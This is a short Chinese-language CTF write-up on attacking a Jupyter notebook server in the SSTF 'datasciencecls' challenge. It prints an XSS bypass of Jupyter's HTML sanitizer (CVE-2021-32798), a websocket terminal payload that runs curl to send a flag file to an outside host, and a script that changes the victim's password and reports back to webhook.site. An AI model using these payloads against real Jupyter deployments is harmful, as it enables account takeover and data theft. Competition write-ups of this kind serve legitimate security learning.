後來賽後知道說 sub-adminadmin 都是同個 group 的,所以可以用 shell read flag,但是不能直接透過 notebook api 的 /user/admin/api/contents/flag 讀 flag 而已。

記錄個別人的 payload,不是透過改 password 而是直接用 websocket 達成的:

fetch("http://datasciencecls.sstf.site/user/sub-admin/api/terminals",{method: 'POST', headers:{"X-XSRFToken":document.cookie.slice(6)}});
ws = new WebSocket("ws://datasciencecls.sstf.site/user/sub-admin/terminals/websocket/1");
ws.addEventListener('open', (event) => {
  ws.send('["stdin","curl http://xxx/flag?testnw`whoami` -d@/home/admin/flag\\r"]')
})

另外還有一點是 jupyter notebook 雖然可以直接用 html:

%%html
<img src=x onerror="some javascript">

但是 onerror 中的東西在儲存後 F5 之後可能會消失 (但也有成功的可能存在…),需要重新手動執行一下那個 cell 才能正常運作,大概是有在做一些 sanitization。賽後有看到有人是用這個方法繞的:

%%html
<select><iframe></select><img src=x: onerror="some javascript">

後來才知道這原來是 CVE-2021-32798,因為 jupyter 本身會把剛 load 時所載入的 html 視為 unstusted,所以會嘗試去 sanitize html

我自己的 payload:

%%html
<select><iframe></select><img src=x: onerror="import('https://webhook.site/SOME_UUID')">

webhook response:

fetch('/hub/change-password',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'password=NEWPASSWORD'}).then(r=>r.text()).catch(err=>err.message).then(t=>fetch('https://webhook.site/SOME_UUID',{method:'POST',body:t}))

然後使用 sub-admin/NEWPASSWORD 登入之後 !cat /home/admin/flag 拿 flag: SCTF{I_want_t0_b3_data_speciai1ist}